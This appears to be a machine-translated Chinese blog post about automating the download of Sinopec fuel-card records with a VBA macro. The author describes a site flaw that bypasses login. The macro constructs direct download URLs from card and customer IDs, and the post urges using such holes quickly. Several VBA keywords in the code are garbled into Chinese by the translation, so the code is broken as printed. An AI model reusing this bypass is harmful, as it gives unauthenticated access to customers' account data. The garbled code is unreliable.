vba抓取网页数据(中石化网站查询只能一张一张卡进行查询或下载(图))

优采云 发布时间: 2021-11-07 09:16

  vba抓取网页数据(中石化网站查询只能一张一张卡进行查询或下载(图))

  背景:

  公司是中石化*敏*感*词*用户。一个ID下有近百张加油卡(销售人员遍布全国),需要每月统计所有卡消费记录。但中石化的网站查询只能选择一张卡查询或下载,不提供批量下载(这种企业根本不考虑用户感受,强烈鄙视)。每个月手动下载需要1个人16个工时,是巨大的工时浪费,必须自动化。

  需要:

  网站 数据通过VBA自动下载并汇总。

  目标:16小时工作任务,缩短到1分钟

  分析:

  通过目标网站进行分析,感觉后台通过.net自动生成查询结果,保存为.xls文件供下载。研究了半天,无法获得文件下载的真实地址。在一次偶然的情况下,我在油卡选项列表框的末尾发现了一个空选项(系统漏洞)。选择此项点击下载,会跳转到一个空白页面,但不同的是浏览器地址栏赫然显示如下地址:。我们已经看到,通过给downloadexcel程序传递各种参数,可以得到一个名为gas.xls的文件,这里引用了公司的卡号和ID。通过分析,我们有了一些启示,可以相应的替换各个参数,然后就可以实现批量下载了。(最重要的一点是可以绕过登录验证,直接下载数据)

  实现:核心代码

  子卡号数据保存文件()

  '目标:自动获取每张卡片的详细数据,并汇总,目标在1分钟内。

  '程序:lwx,wh,wxt

  '核心代码

  Dim URL As String, unChang_Str01 As String, unChang_Str02 As String, unChang_Str03 As String, unChang_Str04 As String'地址信息的固定部分

  Dim StartTime_Str As String, endTime_Str As String, CardInfo As String, SaveTo As String'查询周期信息和子卡号信息和存储目录信息

  将 iCardcell 调暗为范围

  Dim xPost 作为对象,sGet 作为对象,Y 作为对象

  '利用中石化网站漏洞获取油卡查询结果下载地址,可进行地址结构-------------------- ----- ---------

  unChang_Str01 = ""'.net服务器程序下载Excel

  unChang_Str02 = "&endTime="

  unChang_Str03 = "&cardId="

  unChang_Str04 = "&customerId=1102000XXXXX"

  '构造开始时间、结束时间、卡号等信息。其中customerId是通过漏洞获取的----------------------------------------

  '利用该漏洞可以绕过登录验证,直接下载客户所有油卡信息。

  StartTime_Str = Format([Start].Value, "yyyy-mm-dd")

  endTime_Str = Format([End].Value, "yyyy-mm-dd")

  SaveTo = IIf(Right([Path].Value, 1) = "\", Left([Path].Value, Len([Path].Value)-1), [Path].Value) )

  如果 Dir$(SaveTo, 16) = "" 那么 MkDir SaveTo

  对于范围内的每个 iCardcell([G2], [G65536].End(xlUp))

  URL = unChang_Str01 & StartTime_Str & unChang_Str02 & endTime_Str & unChang_Str03 & iCardcell.Value & unChang_Str04'构造URL

  Set xPost = CreateObject("Microsoft.XMLHTTP")'创建一个http对象,这里创建方法,省略在引用中添加对应项

  xPost.Open "GET", URL, 0

  xPost.Send

  Set sGet = CreateObject("ADODB.Stream")'ADO 流的用法。将返回的数据直接存储为excel文件。

  sGet.Mode = 3

  sGet.Type = 1

  sGet.Open

  sGet.Write (xPost.responseBody)

  sGet.SaveToFile SaveTo & "\" & iCardcell.Value & ".xls", 2

  下一个 iCardcell

  结束子

  总结:

  我害怕思考任何事情。如果网站没有漏洞,就不会实现。如果有,让我们快速使用它。ADO STREAM 也用于写入过程。感觉非常方便。

  最后,我强烈鄙视中石化和中石油,油价一天天上涨,服务越来越差。还有就是CSDN博客中插入代码的功能真的没有以前那么好用了。

  以上,构建的地址列表可以保存为.lst文件,直接用迅雷、快递等下载,然后在摘要中实现。缺点是不能自定义存储文件名。

0 个评论

要回复文章请先登录注册


官方客服QQ群

微信人工客服

QQ人工客服


线